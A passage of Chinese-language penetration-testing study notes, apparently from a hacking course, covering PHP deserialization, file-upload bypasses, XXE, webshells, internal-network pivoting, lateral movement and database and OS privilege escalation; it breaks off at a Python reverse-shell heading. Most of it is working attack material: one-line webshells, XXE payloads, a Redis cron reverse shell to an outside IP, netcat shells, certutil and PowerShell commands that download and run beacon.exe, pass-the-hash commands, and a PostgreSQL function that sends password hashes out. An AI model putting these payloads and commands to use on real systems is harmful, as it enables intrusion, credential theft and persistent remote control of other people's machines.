__wakeup 反串行化的时候调用
serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。
使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。
相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
9、__set_state
当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。
10、__invoke
当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效
11、__callStatic
它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
序列化将对象转化为字符串 方便存储传输
php反序列化 很多时候都是利用一些魔术方法来达到rce或者写文件的目的。
例如yii2.0.37 入口是__destruct析构函数,PHP将在对象被销毁前(即从内存中清除前)调用这个方法,跟进这个方法,会发现有一个a属性 a属性又调用了一个close方法。这个a属性是可控的,然后又用到一个魔术方法 call方法,这个方法是在对象中调用一个不可访问方法时调用。利用这个特性 因为a可控 就可以调用一些含有call方法的类。然后跟进call方法 会发现调用了call_user_func方法 这个方法是可以执行命令的。但是这里的call_user_func方法的参数不可控,只能执行一些不需要参数的函数,例如phpinfo,这里可以执行任何方法。然后就可以找一些不需要参数传递的call_user_fun的方法。然后通过这个参数不可控的call_user方法去调用参数可控的call_user方法达到rce。
再比如thinkphp5.1中的反序列化,开始还是destruct析构函数为入口,中间用到一个魔术方法__toString方法,就是一个对象被当做字符串处理的时候会调用tostring方法,可以利用这个方法从一个类中跳到另一个类中,从而找到一些可控的点去命令执行
绕过
__wakeup()
执行unserialize()时,先会调用这个函数
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,并且不会报错,可以被正常反序列化
文件上传
前端验证
修改前端js文件将限制代码去掉
通过f12修改
传参过程中抓包修改后缀
使用burp抓包绕过前端验证
前端禁用js脚本
后端验证
基于MIME验证
什么是MIME?
MIME && MIME 邮件
MIME, 全称为“Multipurpose Internet Mail Extensions”, 比较确切的中文名称为“多用途互联网邮件扩展”。它是当前广泛应用的一种电子邮件技术规范,基本内容定义于RFC 2045-2049。自然,MIME邮件就是符合MIME规范的电子邮件,或者说根据MIME规范编码而成的电子邮件。 在MIME出台之前,使用RFC 822只能发送基本的ASCII码文本信息,邮件内容如果要包括二进制文件、声音和动画等,实现起来非常困难。MIME提供了一种可以在邮件中附加多种不同编码文件的方法,弥补了原来的信息格式的不足。实际上不仅仅是邮件编码,现在MIME经成为HTTP协议标准的一个部分。MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
常见的 MIME 类型:
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
校验 content-type 请求头
当文件上传时利用 MIME 类型匹配文件类型时候符合要求,符合则通过不符合再拒绝。以下是基于 content-type 请求头限制的一部分 php 代码。
<?php
if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
else
{
echo "File uploading failed.\n";
}
?>
像这样的只允许上传 image/gif 格式文件,也就是 gif 格式文件,可以在上传文件是抓包并修改该 MIME 文件类型即可上传成功。
修改文件后缀
原理与上述一样,不过抓包中修改的位置不同,此处直接抓包修改文件后缀名即可。
基于后缀
最容易理解的一种绕过方式,只要可以突破上传点没有限制到的后缀名即可上传成功。 举例几种常见的后缀名:
".php",".php5",".php4",
".php3",".php2","php1",
".html",".htm",".phtml",
".pHp",".pHp5",".pHp4",
黑名单绕过
针对 windows 系统绕过
使用其他可执行并且未限制的后缀名
该上传思路即为“没限制什么后缀就上传什么后缀”,可以使用之前的 burpsuite 测试后缀的方式测试可以上传哪些后缀,再构造相应马儿即可。
大小写混合绕过
windows 系统中的特性,文件的文件名大小写组合也可以运行,是不区分大小写的,所以在一些上传点中,例如黑名单禁止 x.php 上传,就可以构造 x.Php 等文件,上传到服务器之后 x.Php 在 windows 系统中仍然会以 php 文件来处理执行。
文件名双写绕过
例如这样的限制代码:
$file_name = str_ireplace($deny_ext,"", $file_name);
直接使用双写绕过就行 x.pphphp ,最后生成 x.php 文件。
末尾添加 . 绕过
在某些环境中可以使用 x.php. 文件绕过上传,文件上传到 windows 服务器后,会根据 windows 特有的机制在保存文件是将文件结尾的 . 去掉,这样既绕过里上传限制,也保存下来里 x.php 文件(结尾加 . 可以与双写或大小写混用,但是仅限 windows 系统)。
末尾添加空格绕过
上传文件是使用 burpsuite 抓包在结尾处添加空格即可,windows 会在保存文件时将空格去掉。
末尾添加 ::$DATA 绕过
总结来看 ::$DATA 是 windows 的 NTFS 文件系统中的一种机制,当文件名结尾为 ::$DATA 则触发,但是最终保存下来的文件名是不带 ::$DATA 的,从而绕过黑名单限制上传。
00截断上传
无论0x00还是%00,最终被解析后都是一个东西:chr(0) chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
00截断在 php 环境中需要满足以下要求,二者缺一不可。
- php 版本小于 5.3.4
- php的magic_quotes_gpc为OFF状态
.access 文件(.htaccess&.user.ini)
这里的 .access 只是一个泛例,具体包括 .htaccess 和 .user.ini 等可造成解析漏洞的文件。
.htaccess可以添加类型将jpg识别为php
.user.ini可以将当前目录的某个文件包含进所有的php文件中
但是想要引发 .user.ini 解析漏洞需要三个前提条件。
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
条件竞争绕过
竞争条件原理介绍:
网站逻辑:
- 网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
- 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。
上传图片马配合文件解析漏洞绕过
第一种:
比较简单,直接在图片格式的文件中加入 GIF89a 图片标识头(也可以修改hex:47 49 46 38 39 61):
GIF89a
<?php
phpinfo();
?>
将文件保存为 x.gif ,上传都服务器后需要配合文件包含漏洞来执行该代码。
require()
require_once()
include()
include_once()
针对 linux 系统绕过
使用其他可执行并且未限制的后缀名
使用一些特殊后缀 参考前边黑名单绕过
文件名双写绕过
文件名双写在 linux 系统中仍然有效,但是大小写组合是不生效的。 例如这样的限制代码:
$file_name = str_ireplace($deny_ext,"", $file_name);
直接使用双写绕过就行 x.pphphp ,最后生成 x.php 文件。
00截断上传绕过
参考前边
.access 文件(.htaccess&.user.ini)
同上
条件竞争绕过
同上
上传图片马配合文件解析漏洞绕过
同上
基于文件内容
上传图片马配合文件解析漏洞绕过
PHP命令执行和代码执行
代码执行
代码执行漏洞主要有两种产生原因:代码执行函数和动态函数执行,在php中还存在双引号执行的情况。常见的导致代码执行的函数有:eval()、assert()、preg_replace()、call_user_func()、array_map()等
preg_replace()
这个函数就是我们常用到的对字符串进行正则匹配的函数,直接看一个例子,在Web目录下创建preg.php:
<?php
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
?>
命令执行
分别是:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),除函数外,倒引号( )内的内容也可以进行命令执行
中间件安全
IIS
解析漏洞
IIS6.0
基于文件名:会默认将**.asp;.jpg此格式的文件名当做asp解析 原理是服务器默认不解析;号以及后面的内容,相当于截断
基于文件夹:*.asp/目录下素有文件当成asp解析
另外还默认将.asa .cdx .cer解析为asp
WebDAV开启后导致PUT文件上传
版本:iis6.0
利用条件:开启写入文件权限 开启了WebDAV
短文件漏洞
探测网站目录及文件 缺点只能探测前6位字母
Apache
解析漏洞
拓展名解析
从右往左开始解析 知道解析到认识的后缀eg:.php.aaa.xxx.ccc 会解析成php
AddHandler导致的解析漏洞
如果运维人员给.php后缀增加了处理器
AddHandler application/x-httpd-php .php
在有多个后缀的情况下 只要一个文件名中含有.php后缀,即被识别为php文件 不需要是最后一个后缀
Nginx
配置不当导致解析漏洞
在文件名后边添加/xxx.php会将文件作为php解析 eg: infor.jpg/xxx.php
xxe
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果
文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
一句话木马
php
<?php @eval($_POST['cmd']);?>
<?=*/\*函数\*/*?>
ASP
<%eval request ("pass")%>
aspx
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
jsp
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
内网
网渗透流程,添加路由,内网扫描,提权,横向,域控提权,后门免杀,权限维持
流程:获取webshell->提权->内网信息收集->横向渗透->提权->拿下域控->后门免杀->权限维持
使用run get_local_subnets
查看当前路由
然后添加对应网段:run autoroute -s 192.168.52.0/24 添加路由段
信息收集
基础信息
ipconfig /all #查看是否有dns 有的话可能存在域
net user /domain #如果没有域的话会报错 有域的话 会列出域中用户
systeminfo #操作系统版本 补丁信息
netstat -ano #查看端口
route print #路由表 查看有几个网卡 发现内网网段
arp -a #可以用来看内网主机的ip
net view #查看当前网络的主机
tasklist #进程列表
schtasks #计划任务
new view /domain #判断存在域
net time /domain 查看时间服务器 判断主域
可以通过wmic批处理脚本 执行命令收集信息
net group “Domain Admins” /domain #查看域管理员账户
net group “Enterprise Admins” /domain #查询管理员用户组
net group “Domain Controllers” /domain #查询域控制器
wmic useraccount get /all 涉及域用户详细信息
wmic service list brief 查询本机服务
net config workstation 查询当前登录域及登录用户信息
wmic startup get command,caption 查看已启动的程序信息
关键信息 密码&凭据&口令
计算机用户HASH:明文获取-mimikatz(win),mimipenguin(linux)
通过https://github.com/k8gege/LadonGo 获取电脑各种密码 网站密码 vpn密码 等
XenArmor(可以获取更多密码,只支持windows)
BloodHound 分析攻击路径
工具使用
Adfind
列出域控制器名称:
AdFind -sc dclist
查询当前域中在线的计算机:
AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
AdFind -users name
查询所有GPO:
AdFind -sc gpodmp
BloodHound域分析使用
安装&使用:http://cn-sec.com/archives/146548.html
1、启动neo4j neo4j.bat console
2、启动BloodHound BloodHound.exe
3、运行程序后将生成数据导入,筛选查看
计算机用户HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
流量不出网
能出网 但是有限制
TCP上线
通过nc测tcp
http上线
curl测http
ICMP上线
ping测icmp
根据可以出网的协议进行监听
DNS上线
dns需要准备域名添加一个a记录 两个ns记录
然后使用cs使用对应的协议进行监听
dns协议的话 获取会话后需要进入控制台执行
checkin
mode dns-txt
smb上线
完全不能出网
利用MSF-虚拟路由上线
利用MSF-Socks代理上线
反向shell
只有一台web服务器 其他内网不出网
通过nc和lcx反弹shell
win10受害机:nc 192.168.3.104 1111 -e cmd //反向连接将cmd权限流量转发到192.168.3.104的1111端口上
win7跳板机(web服务器双网卡可连外网):lcx -listen 1111 2222 //将1111端口的流量转发到2222端口
攻击机:nc 192.168.46.142 2222 //正向连接win7跳板机
在cs上操作
在win7跳板机上创建监听地址为win7的地址-》生成后门-》内网主机运行后门
正向shell
使用cs添加个bind的正向shell监听 然后生成木马
通过web服务器ipc等方式将木马传到内网主机 木马会将流量发送到内网自身的监听端口 然后等待 cs来主动连接
内网主机运行木马后 使用cs在web服务器执行 connect 192.168.3.32(目标内网主机)
在msf上进行socket5代理
比如msf已经获取了回话 并且添加路由 可以访问内网主机 但是win10物理机上的工具没有办法去访问目标内网的网络,通过已经获取会话的msf添加代理 然后在win10本机上添加msf的代理 让攻击软件或者浏览器走代理 就可以访问目标内网
win代理工具Windows:Sockscap Proxifier
use auxiliary/server/socks5
set srvport 2222
exploit
内网穿透工具
ngrok frp
隧道技术
icmp隧道:工具pingtunnel(将tcp/udp/socket伪装成icmp)
Win开启隧道 //将本地3333 icmp数据转发至158的4444 tcp流量上
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.158 -t 192.168.46.158:4444 -tcp 1
dns隧道
环境:内网主机只出网DNS协议数据
解决1:服务器尝试SSH协议连接客户端绕过限制
解决2:上线CS DNS协议 参考前面课程
https://github.com/yarrick/iodine
判断出网:nslookup www.baidu.com
服务器:iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD
尝试连接:ssh root@192.168.0.2
设置密码xiaodi并创建虚拟IP及绑定域名指向
客户端:iodine -f -P xiaodi ns1.xiaodi8.com
连接密码xiaodi并绑定域名指向
ssh隧道
kali2021 //将跳板131访问130流量给本地1122端口
ssh -CfNg -L 1122:192.168.46.130:22 root@192.168.46.131
ssh root@127.0.0.1 -p 1122
远程转发://将本地访问130流量转发给158上1234端口
kali2020
ssh -CfNg -R 1234:192.168.46.130:22 root@192.168.46.158
kali2021
ssh root@127.0.0.1 -p 1234
文件传输
Linux:nc wget curl
windows:ftp vbs powershell certutil bitsadmin
https://blog.csdn.net/qq_36374896/article/details/84350015
vbs:不推荐
ftp:ftp -s:ftp.txt
bitsadmin:bitsadmin /transfer n http://192.168.0.101:8081/DccwBypassUAC.exe c:\DccwBypassUAC.exe
certutil -urlcache -split -f http://192.168.0.101:8081/DccwBypassUAC.exe c:\DccwBypassUAC.exe
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.0.101:8081/DccwBypassUAC.exe’,’c:\DccwBypassUAC.exe‘)
nc:不推荐
wget http://192.168.0.101:8081/DccwBypassUAC.exe
curl http://192.168.0.101:8081/DccwBypassUAC.exe –output myphp.php
横向移动
通过烂土豆等进行提权cs插件
信息收集通过 adfind,ladon,mimitakz收集密码
IPC横向渗透
通过net use 查看连接列表
IPC$的概念
IPC$(Internet Process Connection)
是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
IPC$的作用
利用IPC$
,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
IPC$的利用条件
139,445端口开启
IPC$
连接可以实现远程登陆及对默认共享的访问,而139
端口的开启表示netbios
协议的应用。我们可以通过139
和445
端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$
连接是需要139
或445
端口来支持的。
注: Windows
系统中的net use ipc$
整个通信过程,先445->137->139
验证,当你开启防火墙禁用445
,发现系统命令就无法连接IPC
了,因为根本没机会走到139
,所以使用系统自带命令连接的ipc$
需要同时开启这些端口 ,参考自K8gege.org
。
连接
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad #/user:用户名 和目标主机添加通信
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务(低版本适用)
#schtasks >=Windows2012
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.21 /tn beacon /f#删除beacon任务
impacket-atexec
https://gitee.com/RichChigga/impacket-examples-windows
该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试
CS本地用户明文连接:
shell atexec.exe ./administrator:Admin12345@192.168.3.21 “whoami” #可以通过上边的文件传输 远程下载木马
CS域内用户明文连接:
shell atexec.exe god/administrator:Admin12345@192.168.3.21 “ver”
CS域内本地用户明文密文连接:
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 “whoami”
WMi
WMI是135端口进行利用,支持用户名明文或者hash方式进行认证
1.wmic
内部:(单执行) 执行命令
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create “cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe”
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create “cmd.exe c:/beacon.exe”
2.cscript
内置:(交互式)
上传wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
3.wmiexec
外部:(交互式&单执行)
wmiexec ./administrator:admin!@#45@192.168.3.32 “whoami”
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 “whoami”
下载后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 “cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe”
执行后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 “cmd.exe /c c:/beacon.exe”
SMB横向
1.psexec
内部:(交互式 windows官方工具)
psexec64 \192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部:(交互式 内网外人开发的工具)
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
引用MSF回显反弹接受CMD
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
spawn msf
2.smbexec
外部:(交互式)
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:admin!@#45@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
3.services
内置:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
补充
PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
#PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,
PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
msf和cs互相转移shell
cs派生会话到msf
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xxxxxx (本机ip)
set lport xxxx
exploit
cs上新建监听 选择Foreign HTTP的监听 ip和端口和msf一样 name为msf
然后在控制台输入spawn msf
MSF派生到cs
cs创建一个beacon HTTP的监听
msf中首先background将会话放到后台
然后session查看会话的id
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.x.x #cs的监听地址
set lport 3333 #cs的监听端口
set session 1
exploit
提权
数据库提权
mysql提权
UDF提权
msf中可以方便的导入dll文件 然后创建sys_exec函数 执行系统命令
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
MOF提权
win系统的mof目录下 会隔几秒种执行一下并且是root权限的 利用写文件 将mof替换掉
C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行为。这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
木马写入启动项
secure_ffile_priv
into outfile
into dumpfile
mssql提权
在SA权限下
xp_cmdshell提权
sqlserver2008是默认关闭的
EXEC sp_configure ' show advanced options',1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'
xp_cmdshell被删掉的话 可以通过上传splog70.dll 来恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell' , 'c:\ProgramFiles\Microsoft Sql Server\MSSQL\Binn\xplog70.dll'
sp_oacreate提权
开启
EXEC sp_configure 'show advanced options',1
RECONFIGER
EXEC sp_configure 'Ole Automation Procedures',1
RECONFIGURE WITH OVERRIDE;
通过wscript.shell执行命令 但是没有回显 所以只能把回显输出到文件中
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system\cmd.exe /c whoami >c:\\1.txt'
沙盒模式
exec sp_configure ‘show advanced options’,1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’
--执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net user margin margin /add”)’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net localgroup administrators margin /add”)’)
沙盒模式SandBoxMode参数含义(默认是2)
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1;
--exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;
--exec sp_configure ‘show advanced options’,0;reconfigure;
DBA权限下
1、通过备份到网站目录getshell
两种备份方式如下 (1)差异备份
backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马
backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份
(2)LOG备份 LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
alter database 数据库名称 set RECOVERY FULL;
create table cmd (a image);
backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --
2、通过备份 文件到启动项提权
(1)先测试xp_cmdshell是否可用
exec master..xp_cmdshell 'ver'
提示权限拒绝,说明是db_owner权限. (2)利用xp_dirtree列目录
exec master..xp_dirtree 'c:\',1,1
(3)查看启动项
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
(4)列数据库
SELECT DB_NAME()
(5)利用url或者sql查询器log备份bat或一句话
alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--
Oracle
普通用户&注入提升模式&DBA模式
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:(Sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
postgresql
#数据库-PostgreSQL数据库权限提升-漏洞
PostgreSQL是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
我们先通过普通用户vulhub:vulhub
的身份登录postgres:
执行如下语句后退出:
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
等待超级用户触发我们留下的这个“后门”。
redis
利用计划任务执行命令反弹shell
写ssh-keygen公钥然后使用私钥登陆
权限较低往web物理路径写webshell
计划任务
set x "\n* * * * * bash -i >& /dev/tcp/47.75.212.155/7788 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename xiaodi
save
windows本地提权
1.at提权
at是win2000 & win2003 & xp上的计划任务
生成一个system权限交互的cmd
at 21:00 /interactive cmd
2.sc提权
sc提权是用于服务管理,通过sc可以创建一个服务 运行服务会以system权限执行
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
3.psexec提权
psexec是微软的调试工具
适用版本:Test in Win2012 and Win2008 其他未测 基本可以
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
4.msf令牌窃取
前提是获取到msf会话
msf>use incognito #使用incognito模式
msf>list_tokens -u #列出用户
msf>impersonated user "NT AUTHORITY\SYSTEM" #后边参数为用户名
5.烂土豆提权
所谓的烂土豆提权就是俗称的MS16-075
可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。
攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!
Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!
通过webshell将烂土豆上传 然后利用msf进行令牌窃取
msf>execute -cH -f ./potato.exe
msf>use incognito
msf>list_tokens -u
msf>impersonate_token "NT AUTHORITY\SYSTEM
6.进程注入
注入到system权限运行的进程中
只能在本地用户权限执行,webshell权限不能执行
msf>ps #查看进程
msf>migrate PID
7.BypassUAC
运行的时候会提示 是否运行 如果开启的话 使用命令行创建用户 会失败
使用msf中的绕过模块后getsystem获取system权限
8.DLL劫持
查看进程 然后根据进程可以利用火绒看某些软件调用了哪些dll 然后替换掉DLL反弹shell
9.服务提权
如果可以添加服务
Linux提权
suid提权
https://pentestlab.blog/2017/09/25/suid-executables/
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可以用来suid提权的
Nmap
Vim
find
Bash
More
Less
Nano
cp
touch xiaodi
find xiaodi -exec whoami \;
利用NC反弹:
find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555
利用Python反弹:
